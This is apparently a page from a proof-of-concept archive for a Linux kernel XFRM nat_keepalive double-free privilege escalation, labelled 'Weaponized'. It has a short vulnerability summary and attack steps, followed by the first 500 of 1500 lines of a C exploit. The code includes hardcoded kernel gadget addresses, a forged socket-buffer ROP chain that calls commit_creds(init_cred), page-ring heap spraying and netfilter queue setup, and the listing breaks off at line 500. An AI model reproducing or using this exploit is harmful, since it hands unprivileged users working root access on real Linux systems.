PoC Archive PoC Archive
CVE-2026-72137 category: binary CVSS 7.8 (HIGH)
Unverified

Linux XFRM nat_keepalive Double-Free LPE (CVE-2026-72137)

Published: 2026-09-04 • Researcher: Nebula Security (NebuSec / CyberMeowfia)

Target software Linux kernel (xfrm nat_keepalive)
Affected versions Ubuntu 26.04 (kernel 7.0.0-28)
Status Weaponized
Severity High · CVSS 7.8
CVSS 7.8/10
Severity
High
CVE
CVE-2026-72137
Category
binary
Affected product
Linux kernel (xfrm nat_keepalive)
Affected versions
Ubuntu 26.04 (kernel 7.0.0-28)
Disclosed
2026-09-04
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-09-04
Author / ResearcherNebula Security (NebuSec / CyberMeowfia)
CVE / AdvisoryCVE-2026-72137
Categorybinary
SeverityHigh
CVSS Score7.8
StatusWeaponized
TagsLPE, Linux kernel, xfrm, nat_keepalive, double-free, Ubuntu, C

Affected Target

FieldValue
Software / SystemLinux kernel (xfrm nat_keepalive)
Versions AffectedUbuntu 26.04 (kernel 7.0.0-28)
Language / PlatformC, Linux
Authentication RequiredYes (local unprivileged shell)
Network Access RequiredLocal only

Summary

CVE-2026-72137 is a double-free vulnerability in the Linux kernel xfrm nat_keepalive subsystem triggered during send error handling. Nebula Security developed a weaponized exploit that uses nf_queue bridge UAF primitives and XFRM netlink helpers to achieve reliable privilege escalation from an unprivileged local user to root.

Vulnerability Details

Root Cause

A double-free occurs in the xfrm nat_keepalive path when a send error triggers cleanup of an already-freed structure. The exploit leverages TPACKET_V3 ring buffers and nf_queue bridge interactions to control the freed object contents.

Attack Vector

  1. Trigger the double-free via crafted XFRM SA with nat_keepalive enabled
  2. Reclaim freed slab object using controlled heap spray
  3. Use KASLR bypass via physmap leak primitives
  4. Execute ROP chain for privilege escalation

Impact

Local privilege escalation to root on Ubuntu 26.04 with kernel 7.0.0-28.

References

Notes

Auto-ingested from https://github.com/NebuSec/CyberMeowfia on 2026-09-04.

exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
/*
 * Copyright 2026 Nebula Security
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     https://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 *
 * SPDX-License-Identifier: Apache-2.0
 */

#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <linux/pkt_sched.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netfilter/nfnetlink_log.h>
#include <linux/netfilter/nfnetlink_queue.h>
#include <linux/rtnetlink.h>
#include <sched.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "leak.h"

/* The assigned 226f4a49 XFRM primitive and its netlink helpers. */
#include "primitive.h"

#define STACK_SIZE (1024 * 1024)
#define EXTERNAL_JAMMERS 8
#define GROOM_PAIRS 288
#define GROOM_PER_PAIR 32
#define PRESEED_PAIRS_PER_CPU 1
#define PRESEED_PAIRS (PRESEED_PAIRS_PER_CPU * 2)
#define PRESEED_START (GROOM_PAIRS - PRESEED_PAIRS)
#define POST_TARGET_PAIRS 15
#define CPU0_DRAIN_FIRST 15
#define CPU0_DRAIN_PAIRS 24
#define CPU0_FILL_FIRST 39
#define CPU0_FILL_PAIRS 24
#define CPU0_FINAL_FIRST 63
#define CPU0_FINAL_PAIRS 48
#define GUARD_OBJECTS 1024
#define GUARD_PAIRS 8
#define PRE_TARGET_PUSH_PAIRS 16
#define CPU1_DRAIN_FIRST 111
#define CPU1_DRAIN_PAIRS 16
#define CPU1_FILL_FIRST 127
#define CPU1_FILL_PAIRS 16
#define CPU1_FINAL_FIRST 143
#define CPU1_FINAL_PAIRS 16
#define POST_DRAIN_FIRST 159
#define POST_DRAIN_PAIRS 40
#define POST_FILL_FIRST 199
#define POST_FILL_PAIRS 80
#define POST_PUSH_FIRST 279
#define POST_PUSH_PAIRS 8
#define RING_PAGES 16384
#define RCU_RECLAIM_WAIT 0
#define QUEUE_NUM 0x5f6e
#define LOG_GROUP 0x5f6f
#define QUEUE_TRIES_PER_CPU 8
#define MAX_QUEUE_TRIES (QUEUE_TRIES_PER_CPU * 2)

static const char flag_path[] = "/flag";
static uint64_t kaslr_slide;
static unsigned char user_stack[0x8000] __attribute__((aligned(16)));
static uint64_t user_cs;
static uint64_t user_ss;
static uint64_t user_rflags;
static int packet_fd = -1;
static const unsigned int capture_delay_us = 100;

#define LINK_PIVOT          0xffffffff81dd80e7ULL
#define LINK_POP_RDI_RET    0xffffffff81429c60ULL
#define LINK_RET            0xffffffff81429c61ULL
#define LINK_POP6_RET       0xffffffff81dd80edULL
#define LINK_INIT_CRED      0xffffffff83a15b80ULL
#define LINK_COMMIT_CREDS   0xffffffff8148a520ULL
#define LINK_SWAPGS_POP_RET 0xffffffff8100133cULL
#define LINK_IRETQ          0xffffffff81001268ULL
#define LINK_KPTI_RETURN    0xffffffff810011dcULL
#define UBUNTU_IMAGE_EDGE_BIAS 0x200000ULL

static void add_time_ns(struct timespec *value, long nanoseconds)
{
	value->tv_sec += nanoseconds / 1000000000L;
	value->tv_nsec += nanoseconds % 1000000000L;
	if (value->tv_nsec >= 1000000000L) {
		value->tv_nsec -= 1000000000L;
		value->tv_sec++;
	}
}

static void put_u64(void *base, size_t offset, uint64_t value)
{
	memcpy((unsigned char *)base + offset, &value, sizeof(value));
}

__attribute__((noreturn, noinline))
static void root_continuation(void)
{
	char flag[512];
	ssize_t got;
	int fd;

	(void)setresgid(0, 0, 0);
	(void)setresuid(0, 0, 0);
	fd = open(flag_path, O_RDONLY | O_CLOEXEC);
	if (fd >= 0 && (got = read(fd, flag, sizeof(flag) - 1)) > 0) {
		flag[got] = 0;
		dprintf(STDOUT_FILENO, "FLAG=%s\n", flag);
	}
	dprintf(STDOUT_FILENO, "ROP returned uid=%u gid=%u flagfd=%d errno=%d\n",
		getuid(), getgid(), fd, errno);
	_exit(fd >= 0 ? 0 : 91);
}

static void save_user_state(void)
{
	asm volatile("mov %%cs, %0\n"
		     "mov %%ss, %1\n"
		     "pushfq\n"
		     "pop %2\n"
		     : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags)
		     : : "memory");
}

static void forge_skb_ring(unsigned char *mapping, size_t bytes)
{
	/* Clear every candidate before writing the compact in-object chain. */
	for (size_t offset = 0; offset < bytes; offset += 256)
		memset(mapping + offset, 0, 232);

	for (size_t offset = 0; offset < bytes; offset += 256) {
		unsigned char *skb = mapping + offset;


		/*
		 * The destructor pivots RSP to this skb.  skb_dst_drop() clears
		 * offset 88 before calling it, and the destructor itself occupies
		 * offset 96, so a six-pop epilogue skips both holes.  No heap
		 * address or preserved page contents are needed.
		 */
		/*
		 * Run the six-pop epilogue before loading RDI: that epilogue zeros
		 * all argument registers.  Its pops consume both mutable skb fields
		 * (refdst at 88 and destructor at 96), then the short pop-rdi gadget
		 * supplies init_cred immediately before commit_creds.
		 */
		put_u64(skb, 64, LINK_POP6_RET + kaslr_slide);
		put_u64(skb, 72, 0);
		put_u64(skb, 80, 0);
		put_u64(skb, 88, 0); /* consumed after skb_dst_drop() clears it */
		put_u64(skb, 96, LINK_PIVOT + kaslr_slide); /* destructor + dummy */
		put_u64(skb, 104, 0);
		put_u64(skb, 112, 0);
		put_u64(skb, 120, LINK_POP_RDI_RET + kaslr_slide);
		put_u64(skb, 128, LINK_INIT_CRED + kaslr_slide);
		/* Restore the SysV entry alignment expected by commit_creds(). */
		put_u64(skb, 136, LINK_RET + kaslr_slide);
		put_u64(skb, 144, LINK_COMMIT_CREDS + kaslr_slide);
		/* Enter the compact KPTI branch at its mov %rsp,%rdi.  It copies the
		 * iret frame to the per-CPU entry stack, so the entire chain fits in a
		 * single 256-byte skb object and works for every slot in the page. */
		size_t frame = 160;
		put_u64(skb, 152, LINK_KPTI_RETURN + kaslr_slide);
		put_u64(skb, frame, 0); /* saved rdi */
		put_u64(skb, frame + 8, 0); /* unused */
		put_u64(skb, frame + 16, (uintptr_t)root_continuation);
		put_u64(skb, frame + 24, user_cs);
		put_u64(skb, frame + 32, user_rflags);
		put_u64(skb, frame + 40,
			(uintptr_t)(user_stack + sizeof(user_stack) - 0xf8));
		put_u64(skb, frame + 48, user_ss);

		/* Keep fclone=0 and make the forged object releasable. */
		put_u64(skb, 216, 768);
		put_u64(skb, 220, 1);
	}
}

static void packet_page_spray(void)
{
	struct tpacket_req request = {
		.tp_block_size = 4096,
		.tp_block_nr = RING_PAGES,
		.tp_frame_size = 2048,
		.tp_frame_nr = RING_PAGES * 2,
	};
	size_t bytes = (size_t)request.tp_block_size * request.tp_block_nr;
	unsigned char *mapping;

	if (setsockopt(packet_fd, SOL_PACKET, PACKET_RX_RING,
		       &request, sizeof(request)) < 0)
		die("PACKET_RX_RING");
	mapping = mmap(NULL, bytes, PROT_READ | PROT_WRITE,
		       MAP_SHARED, packet_fd, 0);
	if (mapping == MAP_FAILED)
		die("mmap(PACKET_RX_RING)");
	forge_skb_ring(mapping, bytes);
	/* Keep both mapping and fd alive until the stale skb is released. */
}

static void make_unix_pair(int pair[2])
{
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pair) < 0)
		die("socketpair(AF_UNIX)");
}

static void send_byte(int fd)
{
	char byte = 'S';
	if (send(fd, &byte, 1, 0) != 1)
		die("send(AF_UNIX)");
}

static void receive_byte(int fd)
{
	char byte;
	if (recv(fd, &byte, sizeof(byte), 0) != 1)
		die("recv(AF_UNIX)");
}

struct cleaner_socket {
	int sender;
	int receiver;
	uint32_t portid;
};

static struct cleaner_socket open_cleaner_socket(void)
{
	struct cleaner_socket cleaner;
	struct sockaddr_nl local = { .nl_family = AF_NETLINK };
	socklen_t length = sizeof(local);

	cleaner.receiver = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
				  NETLINK_USERSOCK);
	cleaner.sender = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC,
				NETLINK_USERSOCK);
	if (cleaner.receiver < 0 || cleaner.sender < 0)
		die("socket(NETLINK_USERSOCK cleaner)");
	if (bind(cleaner.receiver, (struct sockaddr *)&local, sizeof(local)) < 0)
		die("bind(NETLINK_USERSOCK cleaner)");
	if (getsockname(cleaner.receiver, (struct sockaddr *)&local, &length) < 0)
		die("getsockname(NETLINK_USERSOCK cleaner)");
	cleaner.portid = local.nl_pid;
	return cleaner;
}

static void send_cleaner(struct cleaner_socket *cleaner)
{
	struct sockaddr_nl destination = {
		.nl_family = AF_NETLINK,
		.nl_pid = cleaner->portid,
	};
	unsigned char message[32] = { 'C' };

	if (sendto(cleaner->sender, message, sizeof(message), 0,
		   (struct sockaddr *)&destination, sizeof(destination)) !=
	    (ssize_t)sizeof(message))
		die("sendto(NETLINK_USERSOCK cleaner)");
}

static void receive_cleaner(struct cleaner_socket *cleaner)
{
	unsigned char message[64];

	if (recv(cleaner->receiver, message, sizeof(message), 0) != 32)
		die("recv(NETLINK_USERSOCK cleaner)");
}

static uint32_t nf_sequence;

static struct nlattr *nf_put_attr(struct nlmsghdr *nlh, size_t capacity,
				  uint16_t type, const void *data, size_t length)
{
	size_t offset = NLMSG_ALIGN(nlh->nlmsg_len);
	size_t needed = NLA_ALIGN(NLA_HDRLEN + length);
	struct nlattr *attribute;

	if (offset + needed > capacity) {
		errno = EMSGSIZE;
		die("NFNETLINK attribute overflow");
	}
	attribute = (struct nlattr *)((char *)nlh + offset);
	attribute->nla_type = type;
	attribute->nla_len = (uint16_t)(NLA_HDRLEN + length);
	if (length)
		memcpy((char *)attribute + NLA_HDRLEN, data, length);
	memset((char *)attribute + attribute->nla_len, 0,
	       needed - attribute->nla_len);
	nlh->nlmsg_len = (uint32_t)(offset + needed);
	return attribute;
}

static struct nlattr *nf_nest_start(struct nlmsghdr *nlh, size_t capacity,
				    uint16_t type)
{
	return nf_put_attr(nlh, capacity, type | NLA_F_NESTED, NULL, 0);
}

static void nf_nest_end(struct nlmsghdr *nlh, struct nlattr *attribute)
{
	attribute->nla_len = (uint16_t)((char *)nlh + nlh->nlmsg_len -
					(char *)attribute);
}

static void nf_send(int fd, struct nlmsghdr *nlh)
{
	struct sockaddr_nl destination = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nlh, .iov_len = nlh->nlmsg_len };
	struct msghdr message = {
		.msg_name = &destination,
		.msg_namelen = sizeof(destination),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};

	if (sendmsg(fd, &message, 0) < 0)
		die("sendmsg(NETLINK_NETFILTER)");
}

static void nf_recv_ack(int fd, uint32_t sequence)
{
	char buffer[8192];

	for (;;) {
		ssize_t length = recv(fd, buffer, sizeof(buffer), 0);
		struct nlmsghdr *nlh;

		if (length < 0) {
			if (errno == EINTR)
				continue;
			die("recv(NETLINK_NETFILTER ack)");
		}
		for (nlh = (struct nlmsghdr *)buffer; NLMSG_OK(nlh, length);
		     nlh = NLMSG_NEXT(nlh, length)) {
			struct nlmsgerr *error;

			if (nlh->nlmsg_seq != sequence ||
			    nlh->nlmsg_type != NLMSG_ERROR)
				continue;
			error = NLMSG_DATA(nlh);
			if (error->error) {
				errno = -error->error;
				die("NETLINK_NETFILTER ack");
			}
			return;
		}
	}
}

static int open_netfilter_socket(void)
{
	struct sockaddr_nl local = { .nl_family = AF_NETLINK };
	int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);

	if (fd < 0)
		die("socket(NETLINK_NETFILTER)");
	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die("bind(NETLINK_NETFILTER)");
	return fd;
}

static void nft_base_request(char *buffer, size_t capacity,
			     uint16_t message_type, uint8_t family)
{
	struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
	struct nfgenmsg *nfg;

	memset(buffer, 0, capacity);
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
	nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | message_type;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
		NLM_F_CREATE | NLM_F_EXCL;
	nfg = NLMSG_DATA(nlh);
	nfg->nfgen_family = family;
	nfg->version = NFNETLINK_V0;
}

static void send_nft_batch_one(int fd, struct nlmsghdr *request)
{
	char batch[4096] = { 0 };
	struct nlmsghdr *begin = (struct nlmsghdr *)batch;
	struct nlmsghdr *message;
	struct nlmsghdr *end;
	struct nfgenmsg *nfg;
	struct sockaddr_nl destination = { .nl_family = AF_NETLINK };
	struct iovec iov;
	struct msghdr header = {
		.msg_name = &destination,
		.msg_namelen = sizeof(destination),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	size_t offset;
	uint32_t request_sequence;

	begin->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
	begin->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
	begin->nlmsg_flags = NLM_F_REQUEST;
	begin->nlmsg_seq = ++nf_sequence;
	nfg = NLMSG_DATA(begin);
	nfg->nfgen_family = AF_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
	offset = NLMSG_ALIGN(begin->nlmsg_len);

	message = (struct nlmsghdr *)(batch + offset);
	memcpy(message, request, request->nlmsg_len);
	message->nlmsg_seq = ++nf_sequence;
	request_sequence = message->nlmsg_seq;
	offset += NLMSG_ALIGN(message->nlmsg_len);

	end = (struct nlmsghdr *)(batch + offset);
	end->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg));
	end->nlmsg_type = NFNL_MSG_BATCH_END;
	end->nlmsg_flags = NLM_F_REQUEST;
	end->nlmsg_seq = ++nf_sequence;
	nfg = NLMSG_DATA(end);
	nfg->nfgen_family = AF_UNSPEC;
	nfg->version = NFNETLINK_V0;
	nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
	offset += NLMSG_ALIGN(end->nlmsg_len);

	iov.iov_base = batch;
	iov.iov_len = offset;
	if (sendmsg(fd, &header, 0) < 0)
		die("sendmsg(nft batch)");
	nf_recv_ack(fd, request_sequence);
}

static void install_ipv6_output_queue(void)
{
	char buffer[2048];
	struct nlmsghdr *nlh = (struct nlmsghdr *)buffer;
	struct nlattr *hook, *expressions, *element, *data;
	uint32_t hook_number = htonl(NF_INET_LOCAL_OUT);
	uint32_t priority = htonl(0);
	uint32_t policy = htonl(NF_ACCEPT);
	uint16_t queue_number = htons(QUEUE_NUM);
	int fd = open_netfilter_socket();

	nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWTABLE, NFPROTO_IPV6);
	nf_put_attr(nlh, sizeof(buffer), NFTA_TABLE_NAME,
		    "_nebu", sizeof("_nebu"));
	send_nft_batch_one(fd, nlh);

	nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWCHAIN, NFPROTO_IPV6);
	nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TABLE,
		    "_nebu", sizeof("_nebu"));
	nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_NAME,
		    "output", sizeof("output"));
	nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_TYPE,
		    "filter", sizeof("filter"));
	hook = nf_nest_start(nlh, sizeof(buffer), NFTA_CHAIN_HOOK);
	nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_HOOKNUM,
		    &hook_number, sizeof(hook_number));
	nf_put_attr(nlh, sizeof(buffer), NFTA_HOOK_PRIORITY,
		    &priority, sizeof(priority));
	nf_nest_end(nlh, hook);
	nf_put_attr(nlh, sizeof(buffer), NFTA_CHAIN_POLICY,
		    &policy, sizeof(policy));
	send_nft_batch_one(fd, nlh);

	nft_base_request(buffer, sizeof(buffer), NFT_MSG_NEWRULE, NFPROTO_IPV6);
	nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_TABLE,
		    "_nebu", sizeof("_nebu"));
	nf_put_attr(nlh, sizeof(buffer), NFTA_RULE_CHAIN,
		    "output", sizeof("output"));
	expressions = nf_nest_start(nlh, sizeof(buffer), NFTA_RULE_EXPRESSIONS);
	element = nf_nest_start(nlh, sizeof(buffer), NFTA_LIST_ELEM);
	nf_put_attr(nlh, sizeof(buffer), NFTA_EXPR_NAME,
		    "queue", sizeof("queue"));
	data = nf_nest_start(nlh, sizeof(buffer), NFTA_EXPR_DATA);
Showing 500 of 1500 lines View full file on GitHub →